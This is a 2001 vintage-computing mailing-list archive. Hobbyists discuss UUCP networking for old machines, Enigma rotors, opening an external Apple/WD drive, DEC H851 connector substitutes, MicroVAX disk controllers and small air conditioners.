25 19:07:26 EST 1991 # kumiss jcnpc(DIRECT) (I removed the phone and address info because it's still valid and I'd rather not see it archived yet again in yet another place). > Weasel was > a i386sx/20 running SCO Unix in my apartment, and with a 2400 baud dialin, I > was *way* kewler than those BBS weenies. I didn't upgrade to 2400 baud until modems fell to $99. Still got that one, a Goldstar. Haven't powered it on in nearly 10 years. > Mail, USENET News and file transfer...all you really needed. I would have liked ftp back in those days, but Kermit did the trick for most of that sort of thing. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From allain at panix.com Wed Jun 13 17:41:53 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:28 2005 Subject: Ebay horror ... References: Message-ID: <005301c0f45a$0b485e60$21fe54a6@ibm23xhr06> >tony asked: >Do you have any clue as to how an Enigma works and what it consists of? >Simple rotary switches indeed????? Of course, like most of my answers to this list it will likely be corrected later on, here's a quick answer: Keyboard (1 letter press = 1 signal line) goes to... -> Arbitrary plugboard (''fixed'' rotor) -> Rotor: N signal points in, N out in scrambled order, angle dependant -> Rotor, with diff. scrambling AND angle -> Rotor, again -> Light array (1 signal line = 1 Illuminable Letter) The rotor as you may guess increments with each keypress. Later improvements included a fourth rotor and a reflection arrangement which apparently allowed each rotor to pass the signal both to its right AND to its left without ever having crossed wires (neat). It would reach the far wall and then be sent back eventually to the rotor origin. A wire cross anywhere would cause non unique mappings, IE 2 letters out at once, which was designed out. John IIRC. From ethan_dicks at yahoo.com Wed Jun 13 17:45:24 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:28 2005 Subject: Interest in UUCP? In-Reply-To: <4.3.2.7.0.20010613152446.01f15850@pc> Message-ID: <20010613224524.75926.qmail@web9505.mail.yahoo.com> --- John Foust wrote: > At 08:30 AM 6/13/01 -0400, Douglas Quebbeman wrote: > >> Since most vintage machines can't run TCP/IP but CAN run uucp, would > >> there be any interest in a dialup uucp node for retrieving email, files... > You can still use the regular Internet as your transport > and do away with the toll calls, can't you? I did this for months when I moved away from my old ISP and I needed to keep my old UUCP address live (toll calls from Antarctica to Ohio were *not* an option). It was on an Amiga; I hacked UUCP to open telnet.device instead of serial.device (not required on modern UUCP implementations) which simulated a modem, but opened a TCP port. You "dialed" it with "ATDTuucp.somewhere.com" instead of a phone number. It was a crufty hack, but it meant that you didn't have to change apps, whether a terminal program or something more sophisticated, like UUCP. HDB UUCP does allow you to fully describe the transport mechanism without resorting to OS-specific tricks. If the goal is to attach old machines to each other over the net, it might be handy for each participant to have an intermediate machine that _could_ reach out over the 'net and aggregate the local traffic over serial ports. A 386/486 box, for example, running not much more than UNIX and UUCP, could be the RS-232<->Ethernet UUCP home gateway, as could an Amiga, should you happen to have one with a network card lying around doing nothing (given which is more abundant...) It would only add one bang on each end of the path. At least script kiddies aren't running around with wads of exploits for UUCP daemons hanging on port 540. Security through antiquity? -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From donm at cts.com Wed Jun 13 17:57:08 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:28 2005 Subject: old external Apple drive In-Reply-To: <003501c0f42d$3535d540$9cc762d8@idcomm.com> Message-ID: On Wed, 13 Jun 2001, Richard Erlacher wrote: > It's about 8" long, x 7" wide x 3" tall, and has a dual DB25 connector at the > rear, along with power and a rotary device selector switch. The box is > early-Mac-colored. I've probed underneath the rubber pads on the bottom of the > box and find no suggestion that there might be screws there, though I could be > wrong if they're really short. The way the plastic shell latches together is > relaly typical of early MAC stuff, though it might not really be MAC, but maybe > Apple-II-something. I have one of about those dimensions that has four identical rubber buttons on both top and bottom. The buttons are perhaps 7/8" diameter and show on the side of the box for about that same dimension. A bit of judicious work with a small screwdriver will jack mine straight up. That done, exposes screws on the bottom side, and unused provisions for same on top. Mine, however, has dual 50-ribbon connectors on it - definitely SCSI and Apple also. - don > The interface is pretty clearly SCSI, else it wouldn't be able to identify > itself, though it doesn't spin the drive up. > > Dick > > > ----- Original Message ----- > From: "Don Maslin" > To: > Sent: Tuesday, June 12, 2001 11:17 PM > Subject: Re: old external Apple drive > > > > > > > > On Tue, 12 Jun 2001, Richard Erlacher wrote: > > > > > I recently was given a Western Digital Hard Disk 20AP, obviously intended > for > > > use with an Apple computer of some sort. It identifies itself as a Western > > > Digital WD1006-something-or-other but doesn't spin up, and that suggests to > me > > > that there might be an interesting bridge controller in this box. > > > Unfortunately, I don't know how to open the box. Does anybody know how that > > > might be done? Does anybody know how to operate this device (low-level > details, > > > not Apple-user instructions)? > > > > There were a variety of those external drive boxes, Dick. Some snap > > together while others have screws hidden under feet, or ??? Can you > > describe it? > > - don > > > > > > > > From ethan_dicks at yahoo.com Wed Jun 13 18:03:11 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:28 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) In-Reply-To: Message-ID: <20010613230311.31833.qmail@web9501.mail.yahoo.com> --- Tony Duell wrote: > As you mention below, it's 0.125" pitch. The only other common connector > with that pitch is (IIRC) the S100 edge connector. Consider cutting some > down :-) :-) It'll look a right mess, but it should work. I can get 28/56 pin connectors (~$4 each) and cut them down - I'm looking at a Sullins EZA28DCSN. Given that I'm attempting to replicate a DEC H851, I suppose I could cut two down to size, but put them on a PCB with the cut edges on opposite sides, providing for _some_ sort of left-right registration integrity. The PCB would be about 2.5" by 1" with 72 holes. Depending on quantity, they might be <$10 for double-sided with plated-through holes. A single-sided version I could do at home on a prototype run (never tried to burn double-sided boards at home). This is a perfect example of why it's better buy than make electronic bits. > Incidentally, has anyone ever seen a 0.125" pitch 44 pin (22 pin DS) edge > connector. No, I don't mean 0.156" (I was asking about those a few weeks > back, I know). The 0.125" version is used as the expansion connector on > one classic (very classic) desktop machine. Sullins has a 50/100 0.125" connector in a high-profile (0.265" insertion depth) - EZA50DCSD You could cut _that_ down. Anyone know of any other 0.125" edge connector manufacturers? > Minor puzzle : Which machine? No idea. -ethan P.S. - These numbers brought to you courtesy of page 170 of the DigiKey catalog. ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From donm at cts.com Wed Jun 13 18:04:58 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:28 2005 Subject: old external Apple drive In-Reply-To: <003601c0f42e$58596360$9cc762d8@idcomm.com> Message-ID: On Wed, 13 Jun 2001, Richard Erlacher wrote: > When my WD20AP unit is attached to an ADAPTEC AHA1542B under DOS and allowed to > boot with the drive turned on, it "sees" and reports the presence of a device, > WD-1006-something which it later reports it can't spin up. Interesting and confusing! The WD-1006 series that I am familiar with were all either ISA or MCA cards with either MFM or RLL ST-412 drive interface. > It looks like it belongs to the late Apple-II/early MAC period, being shaped and > colored to match. (take the color info with a grain of salt, though, since I'm > "chromatically challenged.") > > It's pretty clearly a SCSI device, else the SCSI controller (AHA1542B) would not > be able to communicate with it via the SCSI-1<=>DB25 (Comonly used with Apple > SCSI ports) adapter cable. That is hard to argue with! - don > I wouldn't bet on a healthy result attaching the device to anything not SCSI. > It's possible that my unit had a dead drive in it, at least if there's a bridge > controller, which I'd readily believe, but if there's a bridge, it probably > wants to be set up, i.e. told what sort of drive it's got, which has to happen > from the outside if it can't readily read the drive info from the drive itself, > in most cases. Now, a couple of other Apple type external drives with which > I've experimented have had customed firmware that prevents the bridge controller > from behaving as similar models would behave, possibly requiring that they see > the Apple setup routines before doing anything. I'm not at all certain about > that. > > Dick > > ----- Original Message ----- > From: "Eric Chomko" > To: > Sent: Wednesday, June 13, 2001 6:01 AM > Subject: Re: old external Apple drive > > > > > > > > Mike Ford wrote: > > > > > >> I recently was given a Western Digital Hard Disk 20AP, obviously > > > >>intended for > > > >> use with an Apple computer of some sort. It identifies itself as a > Western > > > > > > Why do you say obviously intended for use with an apple? I don't recall > > > anything by WD that was for an Apple, or even Apple friendly. 20AP sounds > > > more to me like some old parallel interface PC thing. > > > > I have the WD 40AP. It uses a DB-25 connector and I thought that it was SCSI, > but > > wasn't convinced for sure. I do remember I didn't find much on the web for it > one > > way or another. Does anyone know if its SCSI or TTL parallel? Any other info? > > > > Eric > > > > > > > > > > > > From ethan_dicks at yahoo.com Wed Jun 13 18:10:37 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:28 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) In-Reply-To: <10106131916.ZM19321@indy.dunnington.u-net.com> Message-ID: <20010613231037.91144.qmail@web9506.mail.yahoo.com> --- Pete Turnbull wrote: > On Jun 13, 6:47, Ethan Dicks wrote: > > > Does anyone know of a modern connector that will substitute for a real > > DEC connector? ...0.125" centers > > ...The housing part of course is shaped to ensure you don't plug a dual- or > quad-height card in backwards. Until the keys break off. In any case, you can insert a board in backwards far enough to do damage at power on. At least with >1970 stuff, the handles not locking into place are a bit clue that you've screwed up. For an H851, it won't matter which way they go. It's pin-1-to-pin-1, pin-2- to-pin-2, etc. A real H851 is keyed, but it will work both ways. I'm now working on samples of a 28/56-pin connector to see how well it will work cut down. Considering I need >10 H851s, I might as well find a way to crank up a small pilot run. I know I'm not the only one who needs these. Given the parts costs, would people _pay_ $20 each for a bastardized modern replacement? I know I would knot up at paying $20 for a *real* H851. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Wed Jun 13 18:14:04 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:28 2005 Subject: Enigma (was Re: Ebay horror ...) In-Reply-To: <005301c0f45a$0b485e60$21fe54a6@ibm23xhr06> Message-ID: <20010613231404.77970.qmail@web9505.mail.yahoo.com> --- John Allain wrote: > +AD4-tony asked: > +AD4-Do you have any clue as to how an Enigma works and what it consists of? > +AD4-Simple rotary switches indeed????? Try this Java applet... http://www.mfm.com/~pliebenrood/enigma/enigma_j.html -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From IVIE at cc.usu.edu Wed Jun 13 18:22:05 2001 From: IVIE at cc.usu.edu (Roger Ivie) Date: Sun Feb 27 19:04:28 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) Message-ID: <01K4Q5EKB9FMC3RCAX@cc.usu.edu> > I can get 28/56 pin connectors (~$4 each) and cut them down - I'm looking > at a Sullins EZA28DCSN. Given that I'm attempting to replicate a DEC H851, > I suppose I could cut two down to size, but put them on a PCB with the cut > edges on opposite sides, providing for _some_ sort of left-right registration > integrity. The PCB would be about 2.5" by 1" with 72 holes. Depending on > quantity, they might be <$10 for double-sided with plated-through holes. > A single-sided version I could do at home on a prototype run (never tried > to burn double-sided boards at home). How many H851s do you need? I've got a grundle of 'em tucked away if I can figure out which box I put them in. Roger Ivie ivie@cc.usu.edu From jhellige at earthlink.net Wed Jun 13 18:32:42 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:28 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <200106132123.f5DLNMN13846@shell1.aracnet.com> References: <200106132123.f5DLNMN13846@shell1.aracnet.com> Message-ID: >PS I'm not trying to start a flamewar, it's just my opinion, and largly >based on the fact that MFM disks are the standard for MicroVAX II class >machines (and yes I've got several that are still VAXen, including a >VAXstation II/RC that won't be a parts donor (hey, it was my first VAX if >nothing else)). The MicroVAX II runs nicely, though still slow, using ESDI drives with a controller such as those from Dilog. When I got mine, it had two full height ESDI drives, mounted in a BA23 case, totalling almost 800meg. The drives, 13meg of RAM, three serial port boards and VMS 4.6. I doubt the MFM drives would've stood up so well to all the moving around that the system has been through. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From healyzh at aracnet.com Wed Jun 13 18:42:46 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:28 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <20010613220543.26237.qmail@web9501.mail.yahoo.com> from "Ethan Dicks" at Jun 13, 2001 03:05:43 PM Message-ID: <200106132342.f5DNglK22366@shell1.aracnet.com> > Yep. Lots of elbow room. Eventually, I'll get my KDA-50 up and all, but > for now, it's a nice MFM disk farm. With a KDA50 a MicroVAX II should be a fairly sweet system, IF you can find the disks. My MicroVAX III has one in it. > I would, too, if I had a 4000-class VAX. OTOH, I have some stuff (like > COMBOARDs) that do not run on 4000-class VAXen because of timeout latency, > etc. I have recently run across a document I received from a DEC engineer > years ago where they describe what devices are not rated for use in a > VAX 4000 because the timeouts had lengthened over the years and over the > various models. I need to scan this in. We first noticed the problem > when a VAX 4000 w/TLZ04 and COMBOARD would lock up so tight that we had to > power off. Turns out the TLZ04 was starving us and the timeout recovery > mechanism that worked with MicroPDPs and uVAX-II and uVAX-III CPUs changed > enough with the VAX 4000 to cause serious wedging. In my case the only 4000's I've got are VAXstation 4000's (VLC, 60, and 90), but I've been wanting a nice VAX 4000 to replace my MicroVAX III. Now I'm not so sure. If you get the document scanned in, I'd be *very* interested in a copy. > I find _that_ to be the biggest limitation of the uVAX-II - I have enough > MFM disks to keep my machines working, but since newer versions of VMS > don't like to fit on an RD54, I'm kinda trapped. I need the older stuff > for some reasons and I'd love to move to newer stuff for others (mostly > modern disks and communications devices). In your case I'd recommend trying to find an ESDI controller, if you don't already have one. Something like a WQESD/4 (my personal favorite) would greatly increase your disk capacity. Of course it sounds as if you're planning on eventually setting it up with a KDA50. > I have a BA123 that I'm currently setting up as a uVAX-II because that's > my "biggest" Qbus machine. I expect to recycle its BA23 with a KDF11 > CPU because that's my biggest Qbus PDP-11. Nobody has thrown a newer > VAX or MicroPDP my way yet (except for the Pro380/Console I rescued from > work when we dumped the VAX 8530 8 years ago). My biggest VAX size-wise is my MicroVAX III, it's in a large 3rd Party rack mount with two RA7x boxes (one has two RA72's the other two RA73's). It also can have hooked up a pair of RL01's and a pair of RL02's. The downside is it's currently in the back of my storage unit until I get a house. When I was running it, it was my PDP-11 Archival system. My longrange plan for it is to add SCSI and throw on a SCSI 9-Track I've got if possible (had to give away my TU-81+ thanks to a serious lack of space). I'd planned on upgrading this system to a VAX 4000 series machine when I got the chance, now you've got me wondering if a RLV12 will work in a VAX 4000. Zane From ard at p850ug1.demon.co.uk Wed Jun 13 18:39:29 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:28 2005 Subject: Ebay horror ... In-Reply-To: <005301c0f45a$0b485e60$21fe54a6@ibm23xhr06> from "John Allain" at Jun 13, 1 06:41:53 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 5576 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010614/f3fd7b5c/attachment.ksh From ethan_dicks at yahoo.com Wed Jun 13 19:10:13 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:28 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <200106132342.f5DNglK22366@shell1.aracnet.com> Message-ID: <20010614001013.70663.qmail@web9503.mail.yahoo.com> --- healyzh@aracnet.com wrote: > > Yep. Lots of elbow room. Eventually, I'll get my KDA-50 up and all, but > > for now, it's a nice MFM disk farm. > > With a KDA50 a MicroVAX II should be a fairly sweet system, IF you can find > the disks. Got a pair of RA70s with the KDA50s and cables ($50 for the lot) Already have a pair of RA81s and an MDB ESDI<->SDI box with 2x1.2Gb 5.25" disks. I think I'm ok there. > > ...a document...describe what devices are not rated for use in a > > VAX 4000 because the timeouts had lengthened... > If you get the document scanned in, I'd be *very* interested in a copy. No problem. > > I find _that_ to be the biggest limitation of the uVAX-II - I have enough > > MFM disks to keep my machines working, but since newer versions of VMS > > don't like to fit on an RD54, I'm kinda trapped. I need the older stuff > > for some reasons and I'd love to move to newer stuff for others (mostly > > modern disks and communications devices). > > In your case I'd recommend trying to find an ESDI controller, if you don't > already have one. Something like a WQESD/4 (my personal favorite) would > greatly increase your disk capacity. I'd love one. Never seen one for sale at a "leap into my arms" price, only at a "Oh, so you _need_ one!?!" price. > now you've got me wondering if a RLV12 will work in a VAX 4000. I do not remember off the top of my head, but that would affect me, too. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From sieler at allegro.com Wed Jun 13 19:08:08 2001 From: sieler at allegro.com (Stan Sieler) Date: Sun Feb 27 19:04:28 2005 Subject: hijacked domain name. (was: Re: IBM 5110 available (two)) In-Reply-To: <200106130108.SAA20810@opus.allegro.com> Message-ID: <3B279DF8.1543.1B2D03C6@localhost> Re: > Pictures at: http://www.sieler.com/ibm5110/ If you're having trouble seeing these, it's because someone is trying to hijack my domain name (sieler.com). They managed to change the technical contact, and the DNS servers. I'm trying to get them changed back (via Network Solutions). Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From ajp166 at bellatlantic.net Wed Jun 13 19:11:02 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:28 2005 Subject: A/C for Workstations Message-ID: <00b801c0f467$a7789400$21799a8d@ajp166> I have seen small (4000-5200btu) airconditioners that generally run under 600w (mine is 5500btu and 575w). Allison -----Original Message----- From: John Allain +ADw-allain+AEA-panix.com+AD4- To: classiccmp+AEA-classiccmp.org +ADw-classiccmp+AEA-classiccmp.org+AD4- Date: Wednesday, June 13, 2001 4:15 PM Subject: A/C for Workstations +AD4-Anybody ever see vended a real small Air +AD4-conditioner, say 20 pounds and 200 watts +AD4-for small situations, like one workstation? +AD4-Most small A/C's seem to be 80 lbs 1000 +AD4-watts and up. We had a wheeled portable +AD4-at IBM but it was def. too large. +AD4-Would 10 or so Pelletiers be the trick? +AD4- +AD4-John A. +AD4- From ard at p850ug1.demon.co.uk Wed Jun 13 19:03:29 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:28 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) In-Reply-To: <20010613230311.31833.qmail@web9501.mail.yahoo.com> from "Ethan Dicks" at Jun 13, 1 04:03:11 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2204 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010614/234398f7/attachment.ksh From vaxcat at retrocomputing.com Wed Jun 13 19:24:00 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:28 2005 Subject: Interest in UUCP? In-Reply-To: <4.3.2.7.0.20010613152446.01f15850@pc> References: <7A9BACCEF0171D4FB77019F5104CDD37151151@jeffserver.tegjeff. com> Message-ID: Well, there's lots of ways to transport data. The fastest is to connect your Windows or Macintosh to an ISP, download files and write them to a compatible floppy with some disk conversion software. Answer 1: But we can already do that! =-D Answer 2: What fun is that??? =-D I think what I was thinking of was a way to DIRECTLY get mail, news and files ON TO antique machines without having to use newer machines as an intermediary. In other words, a UUCP network of vintage machines all talking to each other. Of course, there are SOME isps who still support UUCP but the number is rapidly decreasing. Probably 99% of ISP folks would say, "UU whatzit? You mean UUnet? Weren't they bought by WorldCom and MCI? You want a T1? We can sell you a T1!" My thought was a loosely connected network of vintage computers connected by UUCP and bound together by some part-time (midnight) dialup servers, which would allow you to send files DIRECTLY from your Kaypro to someone else's CompuPro. Or from your Commodore to someone's PDP-11. I'm reasonably certain you can run UUCP not only on about anything that has a hard disk but even some things that don't. It also has the advantage of being a) VERY well tested software and b) not under the control of any monolithic organization. Anthony Clifton Des Moines, Iowa >>I've been thnking of this in a bit wider context. >>With some of the changes happening on the Internet, it's >>not quite as friendly as it used to be. > >You can still use the regular Internet as your transport >and do away with the toll calls, can't you? A sledgehammer >approach would be a VPN. From ethan_dicks at yahoo.com Wed Jun 13 19:40:35 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:28 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) In-Reply-To: Message-ID: <20010614004035.41785.qmail@web9501.mail.yahoo.com> --- Tony Duell wrote: > > I suppose I could cut two down to size, but put them on a PCB with the cut > > edges on opposite sides... > > It's a bit of a kludge! Of course it is. It's far from my first choice, but I can not find the right thing anywhere. > I've done DS boards on the sort of setup you'd have at home (bubble etch > tank, UV box). Worked fine -- registration was not as big a problem as > you might think. But through-hole plating is impossible I think. Right... requires lots of strange processes. For a DS board, people used to use metal eyelets to line the holes. I even have a few DEC FLIP-CHIPs made that way. > > Sullins has a 50/100 0.125" connector... > > My 44 pins was the total -- 22 each side. Which means the 56 pin > connector (28 each side) could be cut down too.... It's still a kludge > and I'd rather get the right part if at all possible. Doh! Right you are. Didn't read carefully. > OK, a few hints... Many people wouldn't call it a computer (although it > is). There are a total of 8 ICs in it, and all are simple 8 pin devices. > A fair number of transistors and diodes, but not as many as you'd expect. There aren't any TTL gates with 8 pins that I know of, so I immediately think of linear parts and/or 555 timers. I still have no idea. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From allain at panix.com Wed Jun 13 19:42:33 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:28 2005 Subject: hijacked domain name. (was: Re: IBM 5110 available (two)) References: <3B279DF8.1543.1B2D03C6@localhost> Message-ID: <009501c0f46a$e6db0d00$21fe54a6@ibm23xhr06> > Pictures at: http://www.sieler.com/ibm5110/ I guess I had trouble typing in the words "Thanks for showing this" Oh, if they only were a pair of 5100's. With or without APL. What is on all those floppies anyway? John A. From jhellige at earthlink.net Wed Jun 13 19:46:53 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:28 2005 Subject: Interest in UUCP? In-Reply-To: References: <7A9BACCEF0171D4FB77019F5104CDD37151151@jeffserver.tegjeff. com> Message-ID: >My thought was a loosely connected network of vintage computers >connected by UUCP and bound together by some part-time (midnight) >dialup servers, which would allow you to send files DIRECTLY from >your Kaypro to someone else's CompuPro. Or from your Commodore >to someone's PDP-11. Now this would be quite cool. Cooler even than trying to see who could call into a BBS with the oldest machine. I held that title for short bit with one of my Osborne's after a few failed attempts using an Atari 800 and an Atari 1030 modem.... Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From healyzh at aracnet.com Wed Jun 13 19:50:11 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:28 2005 Subject: A/C for Workstations In-Reply-To: <00b801c0f467$a7789400$21799a8d@ajp166> from "ajp166" at Jun 13, 2001 08:11:02 PM Message-ID: <200106140050.f5E0oBP25401@shell1.aracnet.com> Where these are fun is if you've not got windows that are suitable for putting them in, and/or you're in an apartment complex that doesn't allow them. I recently picked up a very fancy "Portable" A/C unit from Fry's. It was supposed to be about the best available. It rolled around on wheels and had a tube to shove the hot air out the window (plus a sliding bracket to close off the part of the window that was open to allow for the tube). One slight problem, the tube radiated so much heat that it couldn't even cool a 10x10 room, and it was rated at something like a 10x20 or bigger room. All it was good for was pumping out a nice cold blast of air directly in front of it. Needless to say, that sucker got returned. Zane > > I have seen small (4000-5200btu) airconditioners that generally run > under 600w (mine is 5500btu and 575w). > > Allison > > -----Original Message----- > From: John Allain +ADw-allain+AEA-panix.com+AD4- > To: classiccmp+AEA-classiccmp.org +ADw-classiccmp+AEA-classiccmp.org+AD4- > Date: Wednesday, June 13, 2001 4:15 PM > Subject: A/C for Workstations > > > +AD4-Anybody ever see vended a real small Air > +AD4-conditioner, say 20 pounds and 200 watts > +AD4-for small situations, like one workstation? > +AD4-Most small A/C's seem to be 80 lbs 1000 > +AD4-watts and up. We had a wheeled portable > +AD4-at IBM but it was def. too large. > +AD4-Would 10 or so Pelletiers be the trick? > +AD4- > +AD4-John A. > +AD4- > From ard at p850ug1.demon.co.uk Wed Jun 13 19:46:30 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:28 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) In-Reply-To: <20010614004035.41785.qmail@web9501.mail.yahoo.com> from "Ethan Dicks" at Jun 13, 1 05:40:35 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1260 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010614/b9cfda36/attachment.ksh From allain at panix.com Wed Jun 13 19:55:46 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:28 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) References: <200106132342.f5DNglK22366@shell1.aracnet.com> Message-ID: <00a701c0f46c$bf66bb00$21fe54a6@ibm23xhr06> Hey everyone, Anybody have a spare RA70 or compatible they'd like to sell? One of mine takes itself offline right at the front panel at power up so I'm guessing its fried. Is there such a thing as a QBus controller for generic Pertec tape drives? I agree the mVII is a tad slow but it sure is 'built' in the electro-mechanical sense. John A. From bshannon at tiac.net Wed Jun 13 20:04:29 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:29 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) References: Message-ID: <3B280D9D.FF1AB116@tiac.net> HP 9100? Tony Duell wrote: > > > > --- Tony Duell wrote: > > > As you mention below, it's 0.125" pitch. The only other common connector > > > with that pitch is (IIRC) the S100 edge connector. Consider cutting some > > > down :-) :-) It'll look a right mess, but it should work. > > > > I can get 28/56 pin connectors (~$4 each) and cut them down - I'm looking > > at a Sullins EZA28DCSN. Given that I'm attempting to replicate a DEC H851, > > Right... > > > I suppose I could cut two down to size, but put them on a PCB with the cut > > edges on opposite sides, providing for _some_ sort of left-right registration > > integrity. The PCB would be about 2.5" by 1" with 72 holes. Depending on > > It's a bit of a kludge! > > > quantity, they might be <$10 for double-sided with plated-through holes. > > A single-sided version I could do at home on a prototype run (never tried > > to burn double-sided boards at home). > > I've done DS boards on the sort of setup you'd have at home (bubble etch > tank, UV box). Worked fine -- registration was not as big a problem as > you might think. But through-hole plating is impossible I think. > > > > > This is a perfect example of why it's better buy than make electronic bits. > > True _if_ you can buy them. Otherwise you have to make them. > > > > > > Incidentally, has anyone ever seen a 0.125" pitch 44 pin (22 pin DS) edge > > > connector. No, I don't mean 0.156" (I was asking about those a few weeks > > > back, I know). The 0.125" version is used as the expansion connector on > > > one classic (very classic) desktop machine. > > > > Sullins has a 50/100 0.125" connector in a high-profile (0.265" insertion > > depth) - EZA50DCSD You could cut _that_ down. > > My 44 pins was the total -- 22 each side. Which means the 56 pin > connector (28 each side) could be cut down too.... It's still a kludge > and I'd rather get the right part if at all possible. > > > > > Anyone know of any other 0.125" edge connector manufacturers? > > > > > Minor puzzle : Which machine? > > > > No idea. > > OK, a few hints... Many people wouldn't call it a computer (although it > is). There are a total of 8 ICs in it, and all are simple 8 pin devices. > A fair number of transistors and diodes, but not as many as you'd expect. > > -tony From foo at siconic.com Wed Jun 13 19:03:24 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:29 2005 Subject: A/C for Workstations In-Reply-To: <00b801c0f467$a7789400$21799a8d@ajp166> Message-ID: On Wed, 13 Jun 2001, ajp166 wrote: > I have seen small (4000-5200btu) airconditioners that generally run > under 600w (mine is 5500btu and 575w). I'm in California. I have charms and idols on my desk that I pray to in the hopes that the day will remain nice enough to avoid having to turn on anything electrical to cool my server ;) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Wed Jun 13 19:05:56 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: Message-ID: On Wed, 13 Jun 2001, Anthony Clifton - Retrocomputing.com wrote: > My thought was a loosely connected network of vintage computers > connected by UUCP and bound together by some part-time (midnight) > dialup servers, which would allow you to send files DIRECTLY from your > Kaypro to someone else's CompuPro. Or from your Commodore to > someone's PDP-11. That would be cool but it begs the questions: a) wouldn't the long-distance charges quell enthusiasm for this at some point? b) what would it be used for? Would it just come into being to move useless data around and brag to girls about it? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From sieler at allegro.com Wed Jun 13 20:03:39 2001 From: sieler at allegro.com (Stan Sieler) Date: Sun Feb 27 19:04:29 2005 Subject: IBM 5110 available (two) In-Reply-To: <009501c0f46a$e6db0d00$21fe54a6@ibm23xhr06> Message-ID: <3B27AAFB.19423.1B5FD962@localhost> > What is on all those floppies anyway? The owner told me that he used the 5110 along with an unreliable IBM 5265 POS system. The 5110 was very reliable and he didn't have a service contract for it. Eventually, he bought a used 5110 as a spare ... both units still work. The POS had an 8" floppy that recorded the sales and then the data was moved to the 5110. He wrote the software to process the inventory and merge the information between the two machines. (For 1978, this was pretty good!) That's all I know. Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html 